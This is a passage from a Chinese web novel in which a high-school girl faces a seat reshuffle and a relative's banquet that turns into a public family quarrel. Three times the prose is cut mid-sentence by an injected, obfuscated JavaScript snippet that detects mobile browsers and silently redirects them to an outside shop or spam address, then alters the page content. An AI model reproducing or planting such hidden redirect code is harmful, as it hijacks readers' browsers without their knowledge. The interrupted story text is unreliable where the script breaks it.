——严防死守,极度警惕,生怕三个人之间混乱的人际关系继续影响到黄怀予,这个高三一班最大的希望。 黄怀予和苏琬对视一眼。 只觉得很好笑。 在马辉眼里,黄怀予是平时不太认真学习、但是成绩好的第一名,全靠天赋和直觉,也非常容易被影响,因此成绩才会偶尔忽上忽下。 而苏琬和杨捷是努力派的第二名和第三名,内核极其稳定,平时做题都不抬头。 按照他一贯的“近朱者赤”的改造原则,黄怀予要么接受苏琬的勤奋影响,要么承受杨捷的勉力带动。 反正,一定不能被和她一样动来动去乱七八糟的人带坏。 至于谷奕…… 谷奕这次的座位旁边,也都是最近学习劲头很猛的两三个男生。 文科班本来就男生少,去掉体育生以外更是没几个人了,能凑到这几个从高三开始努力学习的男生,估计已经费了马辉九牛二虎之力。 他还毫不吝啬地把这几个男生全部都放在了谷奕旁边,一整个直男包围阵营,感觉平时走路经过那一块的时候,味道都会大上许多。 …… 黄怀予扫了一眼那几个男生的名字。还好,平时都算和谷奕有过交流,偶尔也会一起打球。 她只能在心里感叹,谷奕不愧是楚门一中最强关系户,能得到马辉这么细致入微的照料。 “大傻,不错呀。” “你还记不记得,你刚转学过来的那个早自习,你还不愿意坐在苏琬旁边,硬是要去和白度坐。” “现在好啦,你也能和男生一起坐了,不用再被我们几个女生包围了。” “开心吧?” 黄怀予拍拍前面那人的肩膀,真心实意地恭喜他。 ——拍了半天却看见那人不动。 凑过去一看,才发现他皱眉盯着投影仪上的图片,脸色非常不好看,锋利的眉眼压在一起。 “……” 周围已经响起了刺耳的拖动桌子的声音,哧哧啦啦吵个没完。 谷奕站在原地,半天不动。 直到杨捷拖着她的桌子走了过来。 “谷奕,让一下。” 这句话像是一下子击溃了他的心理防线,谷奕嘴唇抽动几下,就眼睁睁看着杨捷十分费力地把桌子放下,走到了这个属于她的新地盘。 “……” 他咬着牙,十分不情愿地回头,看了一眼苏琬。 又看了一眼黄怀予。 随后用力扭过头,高大的身影抬起桌子,迈开长腿走了。 …… 左边是一个男的。 前面是一个男的。 后面是一个男的。 谷奕黑着脸坐在新座位上,掏出抽屉里的香水瓶,冲着空气里喷了几下。 “嗯?什么东西那么香?” 谷奕哼了一声: “老子的体香。” 谷奕完全不接受这个座位变动。 但是他就算再傻,再对人际关系钝感,他也知道,马辉之所以换座位,是觉得,她们三个人在早恋。 ——而且是三角恋。 想到这里谷奕就一肚子暴脾气,他最讨厌被人冤枉和误会! 于是一下课,他立刻冲到六楼文综办公室,直接站到了马辉面前。 “老师!” “我没有!” 马辉放下手里改作业的笔,抬头,扫了一眼面前这个风风火火跑上来的高大男生,嗤了一声。 “你没有什么?” “没有和黄怀予谈恋爱!” “她也不喜欢我!我也不喜欢她!我们只是朋友!” 马辉凉凉地觑他一眼。 “你和她没有,那你和苏琬呢?” “……!!” 谷奕一下子熄了火,憋了半天,支支吾吾说不清楚。 “哼。” 这样的不否认,在马辉眼里更是成为了铁证。 也就是,谷奕和苏琬之间是两厢情愿互相喜欢。 ——然而黄怀予是暗恋谷奕不成、又不愿意破坏闺蜜感情的第三人,被夹在中间,于是进退两难,所以才一下子心事重重,成绩一下子退步了那么多。 多么合逻辑!! 一定是这样!! 谷奕极其愤怒,一大堆解释都堵在喉咙里。 他又嘴笨,面对着马辉一副“Iknoweverything”的包青天表情,又什么都说不出来。 “老师!真的不是你想象的那样!” “不用说了,我理解。” “你不理解!” “我理解。我都带了这么多届毕业班了,我怎么不理解?” “不!你不理解!” 谷奕急了。 ——“你不能在已经预设了结果的前提下去分析过程,那你分析出来的过程和结果一定都是有问题的!” 此话一出,马辉脸上的表情精彩无比,显然是被这一句话深深地震惊到了。 没想到啊,几个月之前还不学无术的问题少年,现在居然能说出这么有哲理的话! 马辉欣慰点点头:“你长大了。” “等会上政治课讲马哲,你来给大家分享你的学习经验。” 谷奕:“……” * 楚门的春天和秋天都结束得特别快。 夏天和冬天,都一样漫长,难熬。 转眼已经十二月。 黄怀予自从双十一那天从1969回来,心里一直装着事。 她提心吊胆,就怕万颖把在酒吧遇见她的事告诉刘远,刘远又往出说,最后一点点传到她家家和爹爹这里。 她甚至早就已经编好了一个新的剧本,已经给李鸣月发过去了,跟她三令五申一定要背熟牢记,绝对要和她对上口供。 李鸣月保证得胸有成竹,说自己已经背得滚瓜烂熟,绝对不会露馅。 ——结果,这都已经大半个月过去了,事情似乎还没有败露。 都到十二月了,要说的话,早就说了吧? 黄怀予逐渐安心了。 12月3号,是一个周日。 她在房间的窗户前背单词,旁边放着一个小太阳,暖烘烘地烤着。 有人敲门。 外婆在门口说: “今天蒋平舅舅小孩满月酒,在楚味楼。” “晚上去吃吗?” …… 蒋平是外婆这边的亲戚,是黄怀予妈妈黄薇的堂哥。 他和黄薇,以及其他好几个平辈的人,一直以来都被当作老一辈之间的比较对象。 蒋平有两个小孩,一个就是今天办满月酒的这个儿子,还有一个,是和黄怀予年纪一样大的女儿,蒋龄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403752|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄怀予从小和蒋龄一起长大。从某种意义上来说,她觉得蒋平和黄薇之间的比较,也紧接着在她和蒋龄这一代传承了下来。 蒋龄长得很机灵,家里条件好,很会说话,从小在席间酒已经很受各种长辈的欢迎。 她家里从小就有电脑,有一个属于自己的粉色墙壁的房间,有一个镶满粉色钻石的亮晶晶的诺基亚手机,以及各种各样的公主裙。 ——都是黄怀予没有的。 黄怀予一直都不知道,为什么那么多女人都喜欢蒋平。 蒋龄是蒋平和第一任妻子的孩子。 离婚之后去了魔都工作,蒋平这男人不知道有什么魅力,愣是在魔都找了好几个女人,到最后居然还能找到一个老总的女儿,现在靠老丈人帮扶,在江浙沪一带过得也是风生水起。 ——黄怀予总是在想,同样是离婚,她妈妈怎么就不能有这样的运气呢? 黄薇高中成绩很好,比蒋平好得多了,还因为普通话标准当过楚门本地一家大型超市的播音员。 但是第二年就结婚、辞职、怀孕,第三年就离婚,把孩子交给父母,远去魔都打工十几年。 这么多年来,她硬是没有一次正式的感情经历。唯一的两次,男方都长得十分磕碜,黄怀予看一眼照片都觉得要得麦粒肿。 然而最后,黄薇也担心这些男的会对黄怀予不好,所以最后一个个全都拒绝了。 最后走上一条平庸的中年女人的经常被导引的道路——无良微商,并且对最终信仰深信不疑。 她在大城市没有同辈群体,也缺少关系网络,所以当一个群体组织带着一个“所有人一起赚钱”的口号出现在她面前时,黄薇是很难拒绝的。她不用去思考这些产品功效到底是不是真的,不用去思考这种模式到底赚不赚钱,别人给她造好了一个现成的体系,她只用钻进去,安心体会这种多年来在陌生的大城市都无法体会到的群体归属感。 …… 为什么男人能比女人容易那么多呢? 黄怀予每一次亲戚聚会见到蒋平那股耀武扬威的傲气样,就忍不住认真想: 他到底哪里有魅力? 长得不好看,但是口才好,会说话,见人说人话见鬼说鬼话,讲笑话逗得大家哈哈大笑。 黄怀予对蒋平印象最深刻的一件事就是: 蒋平曾经在小时候的一场亲戚宴会上,当众说: “黄怀予这个小孩,长得又胖又丑,眼睛小,一看就一副脑袋笨笨的样子。” “所以,她成绩好只是因为她努力。” “毕竟,笨鸟先飞。” “而我女儿蒋龄,长得聪明,一看就机灵。” “所以蒋龄靠的是脑子。” “人生,天赋可比努力重要多了。” 黄怀予一直记得这段话。 现在,黄怀予轻松考上了楚门一中,是这一辈里唯一一个考上楚门一中的。 而蒋龄和其他表或者堂的兄弟姐妹,从初中开始就已经成绩下降,远远赶不上她。 ——但是黄怀予从来没觉得,自己超过了蒋龄。 小时候,自己成绩不如她,脑子不如她,长相不如她。 长大了,自己家里不如她,情商不如她,口才不如她。 其实自始至终,黄怀予和蒋龄都互相把对方定义成一起长大的玩伴。 但是在亲戚和俗世概念中,她们之间的比拼从来就没有停止过。 …… “今天蒋平舅舅小孩满月酒,在楚味楼。” “晚上去吃吗?” 黄怀予摇头:“不去。在家学习。” 外婆不赞成地摇摇头: “必须去。” “啊,蒋龄也去!你跟她不是玩得好吗?” “……”黄怀予嘟囔着,“就是因为她去,所以我才不想去。” “怕什么?你现在成绩比她好呀!要比,我们也不怕比!” “谁说是因为成绩了?” 黄怀予捧着脑袋,看着窗外。 “我们家还欠着她家那么多钱,不想去见她们。” 72. 第72章 外婆愣住了。 像是从来没想到每天都在努力学习、两耳不闻窗外事的黄怀予,能把“欠债”这种事挂在嘴边脱口而出。 她那一瞬间才后知后觉地明白,黄怀予或许早就不是小孩子了。 大人之间的那些汹涌沉浮的比较、金钱地位的上下等级、以及宴席上觥筹交错下的面子人情…… 黄怀予全都知道。 …… 外婆低头沉默两秒,又露出一个苦笑。 随后又抬起头看着黄怀予,故作轻松地说: “慢慢还呗,总有还清的那一天。” “人家说,欠钱的才是大爷。” “是我们家欠别人钱,别人还怕我们不还呢,你怕什么?” 黄怀予没忍住笑出了声。 ——可是下一秒苦涩就溢满心头。 她看着外婆这种努力想要让她们之间的话题变得轻松一点的那种故作幽默的神情。 “家家,你以前不是这样的。” “你以前……” 她闭了嘴,剩下的话没说出去。 你以前最爱面子。 你总是跟我说,八十年代,我们家是附近第一个买电视的,那个时候街坊四邻都来我们家看电视。 你总是说,只要付出就会有回报,只要努力,日子就会过得好。 你总是说,你不愿意欠别人的,你希望活得坦坦荡荡光明磊落。 可是自从高一外公得癌症以及妈妈换工作以来,好像一切都变了。 …… 她咽下所有情绪,换了个话头: “你腰不好,能去吗?” “慢慢走着去呗。” “……好吧。”黄怀予屈服了,拿上了沙发上的羽绒服,无奈地撇嘴,“走吧。” “我扶着你。” “慢慢走过去。” * 又到楚味楼。 黄怀予也不知道为什么,这一年来能这么频繁地来这个地方。 一下公交车,正面迎目就是“楚味楼”三个大字,金碧辉煌雕梁画栋。 门口摆了一个巨大的金边红底广告牌,上面书写一列字,金色正楷龙飞凤舞: ——“蒋府麟儿满月,贵宾请移步二楼春江府”。 嗯,很符合黄怀予对这位舅舅一贯的有钱印象。 …… 黄怀予扶着家家入座,跟周围桌子上所有亲戚都打了招呼。 “哎呦!” “怀予这么瘦了!” “怎么这么瘦啊!减肥了吧!” “真漂亮啊现在!” “真是女大十八变啊,变得好漂亮啊!” 耳边的话越来越刺耳,她脸上的笑越来越僵硬。 她习惯了肥胖的日子,习惯了大家只把她当喜剧角色,她从来就没有觉得自己和“漂亮”这个词有任何一点点的搭边。 对于别人突然开始夸她的异性魅力,她本能地感到反感,心里条件反射觉得对方认为她一定为了“美丽”而下了很多功夫。 她只觉得羞耻,面上的人情夸奖落在耳朵里成了阴阳怪气的讽刺。 很奇怪吧? 黄怀予自己都唾弃这样的自己。 …… 好不容易结束寒暄,她坐下,推了推眼镜,摆弄着手里的饮料,开始一贯的宴席上装沉默。 过了一会,爹爹也来了。他今天正好来市里取钱,家家让他取完钱直接过来。 三个人坐在一起。 爹爹坐下,凑过来对她说:“我来的时候看见等会菜单上有珍珠丸子。高兴吧?” “……”黄怀予一愣,颇有些无奈地笑笑,然后很给面子地点点头。 ——她感觉自己在家家爹爹眼里,好像永远是个长不大的小孩子。 “哟!大家都来了?” 人未至,声音先到。 宴席的主人公蒋平终于出现,黄怀予眼看着周围这一桌的人全部都站了起来,也只能叹了口气跟着站了起来,心里吐槽你装什么王熙凤。 ——蒋平今天穿得很是正经,白衬衫加黑裤子,看上去跟卖保险的似的。 他坐了下来,满脸笑意地跟在座所有人熟练地打招呼,并且每个人的打招呼方式都不一样,一定还会带上一句跟那人平时的生活有关的话。 黄怀予觉得他很像那种专属定制的聊天机器人。 他的目光终于扫到了黄怀予。 “黄怀予也来了?” “平常学习不是很紧张吗?怎么今天有空来?” 黄怀予点点头,“舅舅好。今天星期天,所以来了。” “哦!”他笑了笑,立刻把话题引到学习上,“最近成绩怎么样啊?” 她随口说了一句:“还行吧。” ——没想到,这一句随口的、没有任何有效信息的、都称不上认真的回答,似乎一下子让蒋平来了兴趣。 他仿佛是从黄怀予这一脸不愿意提起成绩的表情和态度里,一下子抓住了什么重点,突然就变得兴致勃勃,直接抢过话头: “也不怪你觉得一般。” “毕竟,楚门一中最近也不行了。” “去年高考,一本率又下降了,甚至比不上隔壁市的省重点了。” “而且一个清北都没有,高分层直接断层,我看真是要完了。” “最主要是,它那个地理位置就不行!” “零几年它说要搬到鸡鸣区,那个时候我就说过了,楚门一中一定会走下坡路。” “你看,果不其然。鸡鸣区是什么穷乡僻壤?环境差,位置远,又偏僻,怎么发展得起来?” 他一连串滔滔不绝,讲了起码十分钟。 黄怀予习惯了似的,一脸平静,低头喝橙汁。 蒋平虽然嘴上一直说着话,但是眼睛却一直往黄怀予这边瞟。 ——他见到,黄怀予脸上没有任何表情,只是低头喝饮料,对于自己的学校被别人一通分析这件事没有任何反应。 他心里更确定了。 黄怀予在楚门一中,成绩一定很一般。 他记得,楚门一中有好几个快班,理科快班加火箭班就有四个以上,文科也有一个。 两年前,听说黄怀予考上了楚门一中,却没有任何消息说她考上了快班。 没说,当然就是没考上。 如果考上了,还不得昭告天下? 每一次亲戚聚会,问到小孩子成绩,总会说她在一中怎么怎么样,好像考上了一中有多么了不起,他家蒋龄没考上就似乎总是比黄怀予低一截。 ——他早就看不惯了。 蒋平心里十拿九稳,已经认定了,黄怀予在楚门一中的慢班也是成绩很差。 差就是差。管你在哪个学校。 他心里突然爽快无比。 “哎对了。” “我有朋友,他家孩子也在一中!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419428|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“就在文科快班。” “我记得,楚门一中这一届文科好像就一个快班吧?没错没错,他家孩子就在这唯一的一个快班。” “他家孩子成绩可好了,平时考试都在年级前四十。” 说到这里,蒋平停了一下,眼里带着满满的施舍,用那种颇有些同情的目光,看向黄怀予: ——“要不,我介绍一下,你和她认识认识?” “她爸爸是做钢材生意的,跟我很熟,很多年的老朋友了,楚门市这一片的钢材生意都是她爸负责的。” “你们认识一下,多个朋友,也多条路。” 他说完,桌上陷入短暂的安静。 周围所有亲戚都好像已经听出了蒋平的弦外之音,全部都尴尬地保持沉默,一个个地都去看黄怀予的脸色。 难道说,黄怀予在楚门一中真的成绩很差? 平时所有人都说她是唯一一个考上了一中的学霸,还以为她成绩很好呢…… 众人的目光在黄怀予身上肆意地打量,小声地猜测。 …… 蒋平一看见黄怀予低着头不说话,心里更是得意,招呼着就立刻让旁边一桌的几个人过来。 那几人跟蒋平寒暄了几句,黄怀予就看到,几人之中有一个跟她同龄的女生,跟着旁边的人,走了过来。 虽然隔着老远,但是黄怀予能在人群中一眼看见她。 ——因为,她身上穿着,楚门一中的校服。 那个女生扎着马尾,戴着眼镜,脸上满是不知道应该说什么的尴尬表情。 黄怀予一看就知道是同病相怜的可怜人,被家长拉过来被迫和不熟的人social,浑身煎熬。 而且身上还穿着一中校服,肯定是星期天还去学校教室里自习,结果学到一半就被拉来了楚味楼吃酒席。 她突然觉得有点好笑。 典型的一心只读书的八班学霸,好不容易有个轻松一点的周日,结果不仅要被拉过来跟一群不认识的人尬聊,还要在不知情的情况下,成为某人装逼的人脉资源。 真惨啊,姐们儿。 …… “来来来,给你们两个小姑娘互相介绍认识一下!” “这是我朋友高总的孩子,叫高敏。平常特别喜欢数学,数学成绩也特别好,还是楚门一中文科快班的,对吧?” “这是,我亲戚家孩子,叫……” 黄怀予平静地对上高敏的目光。 高敏本来十分尴尬地被迫裹挟进大人之间的安排的虚假社交里,却突然对上了黄怀予的眼睛。 她瞬间愣住,然后骤然打断蒋平的话。 “……黄怀予?” “你是黄怀予吧?” 黄怀予一愣,还没说话,就看见高敏眼里一下子散发出兴奋的光。 “啊,没想到会在这里遇到你!” 蒋平一顿,有些怀疑: “你们,认识?” 黄怀予实话实说:“不认识。” …… “不认识,她怎么会知道你叫什么名字?” 蒋平脸色瞬间就变得有点不好看。 认识就认识,人都喊出你的名字了,你还撒谎装不认识? 他没什么好气地看了一眼黄怀予。 “算了,既然你们认识,那也好,黄怀予你要多向人家高敏学习,人家很优秀,知道吗?” ——“是她不认识我,但是我认识她!” 73. 第 73 章 高敏有些兴奋地打断蒋平。 “大家都认识她啊,黄怀予,一班的第一名,平行班里第一个考进年级前十的!” “之前有一次月考,我在第一考场见过你。” “所以一直记得你的脸。” “没想到会在这里遇到你。” “哦!对了!你11月月考数学是不是142呀!” “……” 黄怀予被一连串话砸得有些懵,没想到话题跳得这么快,但还是老实回答道,“啊……是。” “果然是你!” “我们两个班的数学都是孙老师教的,他说这次月考单科年级第一名出在一班呢!” “我们大家一猜,就只有你了啊。” “我一直都很想认识你!只是怕不好意思……我可不可以问你,上次月考最后一道填空题你是怎么做对的?孙老师说只有你做对了!” 高敏一直喜欢数学,自己成绩最好的一门课也是数学。 她平时不怎么讲话,但是一旦聊到关心的事情就会滔滔不绝,简直收不住。 黄怀予掏出手机,给她扫了二维码加了微信。 她偷偷瞄了一眼旁边。 ——果然看见了蒋平铁青的脸。 他刚刚一番要把高敏介绍给黄怀予的话实在动静太大,基本这附近的三四张桌子上的人都全程目睹了整个过程。 蒋平等于在众人面前被直接打脸,一时间咬着牙,似乎被气得七窍生烟。 现在空气里一直都保持着微妙的安静。 …… 哼。 黄怀予畅快地回了座位。 珍珠丸子终于被端上了餐桌。 “!”黄怀予眼睛都开始发光,等到菜转到了自己面前,迅速夹了两筷子,一心一意吃了起来。 吃着吃着,她就听见前方有人说话。 “妈妈,那个姐姐叫什么名字呀?” 这张桌子上坐着的基本都是蒋平妈妈这边的亲戚。 刚刚蒋平跟高敏家里之间的那么大阵仗的一轮social,这桌上的人一定全部都听到了全过程。 黄怀予嘴里的珍珠丸子还没咽下去,分了一点意识,抬头看了一眼,发现说话的似乎是某一个姑姑的孩子,看上去读初中的样子。 她有点印象,因为好像这个姑姑就住鸡鸣区,偶尔还能在一中对面的街上碰见。 ——不过,黄怀予碰见了,第一反应也一定是赶紧躲到旁边装没看到。她的活泼外向仅限于朋友和熟识一点的长辈,其他不近不远的亲戚她本能上都极其害怕与之社交。 她妈妈就坐她旁边,低头回答: “她叫黄怀予。” “哦!我见过这个名字。” “就在一中门口的光荣榜上。文科年级第七名呢!” 几句话声音不大,但是桌子上所有人都听见了。 “!” 黄怀予差点被呛到,顶着众人的目光如坐针毡。 那个光荣榜,已经是九月份月考的老数据了,学校抠门得要死,一块板子重复用了三个月。 ——所以,刚刚才出来的年级35名的这个数据,当然也没机会公之于众了。 她余光扫到,那个姑姑已经迅速坐到了她外婆旁边,开始跟她外婆唠家常。 从夸黄怀予成绩真好开始,又提到家里搬家到鸡鸣区就是想让自家孩子上楚门一中,最后终于把话题引到了楚门的初中补习班推荐。 “……”她胆战心惊地看着旁边的外婆来了精神,开始津津乐道极有经验地给那个姑姑分享各种补习班资源和体验。 两个人声音太大,又吸引了隔壁桌全程旁观的一个中年阿姨,三个人聚在一起,一个小镇应试教育家长交流角已经迅速形成。 …… 宴席之间,又是反反复复的各路亲戚来敬酒。 桌子对面,就坐着蒋平的妈妈——外婆的亲妹妹,黄怀予的姨家家。 “姐,你和姐夫最近身体怎么样?” 姨家家过来敬酒,黄怀予觉得她整场宴席下来都红光满面。 听说上个月蒋平才带着她,一家人去了杭州西湖旅游,光是朋友圈就发了十几条。 “西湖啊。你和爹爹想去吗?”黄怀予当时刷到了朋友圈之后问家家。 “想啊。” 她一边叠衣服,一边回答。 “没有人家那个命啊!” 家家笑得很坦然。 “又没钱,又一身病。怎么能跟人家比呢?” 黄怀予看了一眼自家外婆外公连拿起杯子都颤颤巍巍的动作,低着头,又给他们俩杯子里倒了一点橙汁。 …… 酒足饭饱,蒋平又开始对全桌人讲起了他每天的生活。 说自己在老丈人的公司里多么如鱼得水,说上个月又带着他妈妈去了哪里旅游,最近老婆又生了个大胖儿子,老蒋家终于有后了! “……” 黄怀予筷子一顿。 她远远看了一眼旁边的蒋龄,果然捕捉到了她眼里闪过的一丝僵硬。 她心想,你看,果然吧。 其实她和蒋龄,就算家庭条件差距那么大,就算性格完全不一样,就算生活在完全不同的生活环境里,可是,她们本质上都是同类人。她低下头,心里泛出深刻的怜悯和愤怒,这些感情既是为了蒋龄,也是为了自己,还是为了所有和她们一样的不被当作是“后代”的女人。 她低头猛吃,一个字都不想听。 松鼠桂鱼是语文,苕粉炒肉丝是数学,一桶金是英语。 珍珠丸子是政治,粉蒸肉是历史,排骨藕汤是地理。 自厌和自争融合在一起,像是一母同胞的两姐妹,早就一点点在黄怀予心里扎根,盘旋遒劲变成结识杂乱的青藤。因为自厌,所以必须自争。自争成功,却仍然对成就患有不配得感;自争失败,在自厌中越陷越深。 她盯着桌上的菜,已经陷入了自己的意识里。 她是不是家里唯一的支撑?唯一的希望? 是不是只有自己努力学习,高考考上一个好大学,才能让家家爹爹也能大摆筵席,痛快地在别人面前说一句: “我外孙女争气咯!” “我就这个命,享福的命!” 黄怀予低头看着桌上的菜发呆。 ——结果下一秒,头就被后面伸出来的一只手不轻不重地拍了一下。 !! 她转头,撞见李鸣月那双看破一切的笑得戏谑的眼睛。 …… 她大惊。 “小姨!” “你怎么来了!” 李鸣月今天把头发都扎了上去,穿得还算正式,脸上也素素的。 她抱臂站在黄怀予身后,弯下腰,凑到了黄怀予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430650|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵边,轻轻开口说话。 “我就坐在旁边那个桌子。” “估计你快要受不了蒋平了……” 她轻轻地笑,呼出的热气蹭得黄怀予耳边痒痒的,不由得瑟缩了一下脖子。 “特地过来带你脱离苦海。” 黄怀予扔了筷子,如同看见救世主般把手伸了过去。 “小姨,救我。” “……”李鸣月轻笑了一下,握住了她的手,“小姨来了。” 她立刻把黄怀予一把拉了起来,冲着桌上所有人笑着大声说“大家吃好喝好,我们先出去散散步消消食”,随后头也不回地拉着黄怀予走了。 …… 两人走出宴会厅,黄怀予终于感觉可以呼吸新鲜空气了。 楚味楼确实又大又豪华,周围服务员端着菜忙忙碌碌走来走去,一派繁忙景象。 “蒋平一直就那样。我跟你妈的这一辈姐妹兄弟里,就他喜欢装逼。” “年纪越大越油腻,一整个中年说教男。” 黄怀予在一边狂点头。 两人在宴会厅里随意走着聊天,人来人往,黄怀予没注意看路,一下子就撞到了一个迎面走过来的女人。 她手上拿着饮料,那饮料一下子溅了两个人一身。 黄怀予惊叫一声,都没看自己身上有没有溅到,立刻就开始道歉:“对不起对不起!” 然而她抬头一看,却当场吓傻。 那人长发马尾,五官艳丽,画着大红色口红。 ——是万颖。 黄怀予呆了有三秒钟。 李鸣月也呆了三秒钟。 …… 黄怀予站在原地,使劲在脑子里猜来猜去,只能想到一种可能。 就是万颖似乎工作上和蒋平有一些交集,于是就也收到了满月酒的请柬。 ——只是蒋平似乎完全不知道,万颖就是黄薇前夫的现任妻子。 楚门真的是太小了。 她呆呆地想。 万颖等到抬头,看清是黄怀予,那张脸上瞬间出现了复杂又厌恶的情绪。 “没教养。” 她骂道。 鉴于万颖和黄怀予之间的这种特殊关系,“没教养”这种话不到最后时刻都不会在两人中间迸发——然而万颖就这样当面骂了出来。 黄怀予耳朵一刺,皱了皱眉。 ——只是,她还没来得及说话,旁边的李鸣月立刻就火了。 “你骂谁呢?!” 万颖眼神一滞,认真看了两眼李鸣月,这才认出来: “你……你是那个酒吧老板?” 她瞪着眼睛,眼神在黄怀予和李鸣月身上来回扫动。 又联想到这场宴会的主题,终于想到了一种可能性。 “你们,是亲戚!” ——她似乎一下子恍然大悟,右手食指指着李鸣月,极其气愤地喊: “原来,你就是为了帮她的生意,不仅自己偷偷跑去酒吧,还偷偷带着刘子扬去!” “你们是一起的!” “你有没有良心啊!你居然还联合你的亲戚,去骗一个小孩子的钱!” “我就说为什么那天买单花了那么多的钱,一定是你鼓动刘子扬点了好几瓶贵的酒!” “你还有那么多一帮狐朋狗友,小小年纪酒吧常客,我看你平时那个学习成绩也是装出来的吧!” 74. 第 74 章 万颖叉着腰,漂亮的脸上出现裂痕,声音极大,吵吵嚷嚷,瞬间吸引了众多人的目光。 周围服务员立刻上前了解情况,把三个人拉开一个安全距离。 没过几分钟,宴席主人公蒋平也听到消息,和姨家家一起急匆匆地赶了过来。 姨家家才刚到,一眼就认出了那个在宴会厅门口大吵大闹的女人就是刘远的现任老婆,惊得眼睛都瞪大了,一把扯过蒋平: “你怎么把她请过来了?!” 她压低声音,“她是刘远老婆!” “!什么?!” “还什么!就是他那个二老婆,跟他一个村子的!” 蒋平咬牙:“我真不知道!” 办满月酒,居然请到了妹妹的前夫的现任,还正好和妹妹的孩子在大厅门口吵起来了…… 蒋平脸色比锅底还黑。 …… 黄怀予被几个服务员团团围住。 对面就是已经骂红了眼的万颖。 室内暖气开得太足,黄怀予晃晃昏沉的脑袋。 下一秒就远远看到,一个十分熟悉的身影,正急匆匆从宴会厅里出来,直直地就朝着她们三个人的方向走过来。 ——难得见面啊,爸爸。 我跟你一年也见不了几次面。 见上了,也没什么好事。 比如现在。 刘远急急忙忙赶过来,身后还跟着好几个想看热闹的亲戚。 “你们两个骗小孩子的钱,真不怕天打雷劈!” 此话一出,黄怀予一下子感到旁边的李鸣月像是燃起了熊熊火焰。 李鸣月向来是个脾气爆的,立刻走上前去,指着万颖鼻子愤怒回击: “你说话做事要有凭据的啊!” “我做生意堂堂正正,任何人想来都可以来,你儿子自己要过来,谁逼他了?” “我们是不准未成年人进来的,是你儿子自己去做了假证!” “就算你闹到警察那里我也是有理的好不好!” 万颖脸都气红了,下一秒却被赶来的刘远一把拉住。 “算了算了!” “别吵了!” “这么多人都看着呢!” 刘远用力拉住万颖的手臂,侧面对着黄怀予,压低声音对万颖警告。 他一眼都没看黄怀予,而且也没有问任何三个人吵架的具体内容,好像早就知道发生了什么事一样。 …… “你哪来的钱买酒?” “我爸给的。” 刘子扬的话倏地出现在黄怀予脑子里。 哦! 怪不得呢。 黄怀予看着爸爸在她自己面前,那副连看她一眼都心虚、生怕事情闹大的样子,突然觉得自己有点太把自己当回事了。 她以为刺探到了刘子扬抽烟、喝酒、早恋的巨大秘密,还以为自己知道了什么极其隐秘的天大八卦。 ——现在看来,人家爹早就一清二楚。 甚至,启动资金都是爹给的。 其实何止那些钱呢?刘远连房子都给刘子扬买好了。 万颖看见李鸣月气势汹汹的样子,想回击却被刘远死死拉住,更加暴跳如雷。 “你拉我干嘛?” “你拉我干嘛!” “人家都指着你鼻子骂你儿子,你还忍得下去,你是不是男人!” 她骂得更难听更大声,一路引来了更多人的目光。 …… 蒋平脸色极其难看。 没过一会,李鸣月妈妈也匆匆忙忙赶过来,还带着黄怀予外婆外公。越来越多的人闻声赶来,慢慢围成了一个圈,把几个人围在中心。 李鸣月还在和万颖激烈争吵,李鸣月妈妈迅速走上前,一个箭步插进了万颖和李鸣月中间,问也没问原因,就把李鸣月护在身后: “我是她妈妈,你有话冲我说!” 周围人越聚越多,重重叠叠的讨论声像一张网一样把事件中心的几个人包围住。 “咋回事?” “就那个,蒋平表妹的女儿,叫黄怀予的。表面上说是楚门一中的,成绩可好,结果小小年纪就去酒吧玩!” “何止啊,我刚刚听得清清楚楚,前面那个女的说,黄怀予还怂恿她儿子也去!她儿子才读初中啊!” “那女的和黄怀予什么关系?” “是黄怀予的后妈。” “哈?关系这么复杂?!” “这么说,旁边那个男的就是黄怀予她爸了?” “够乱的这关系……” “不是,那旁边那个红头发的女的又是谁?” “她你都不知道?李鸣月啊!” “那酒吧就是她开的!” “黄薇女儿够早熟的啊,戴个眼镜斯斯文文的,刚刚还说自己是楚门一中的,成绩多好多好……没想到……” “李鸣月算起来还是她小姨嘞。天天跟李鸣月混在一起,也难怪被带坏了。” “天下乌鸦一般黑啊……” “怪不得她后妈闹那么大呢,自己乱搞也就算了,还把人家儿子也搞去了。” “别说了,我看哪就是小孩子争宠呢,她爸二婚生的儿子,她心里不高兴呗,故意拉自己弟弟下水……” 讨论声越来越大,混在万颖和李鸣月乱七八糟的叫骂声中,杂乱一片。 “……” 黄怀予站在原地,只觉得眼前昏沉。 她拉住李鸣月的手臂,隔在万颖和李鸣月之间,只想赶紧把李鸣月拉走。 她不想再看其他人一眼。 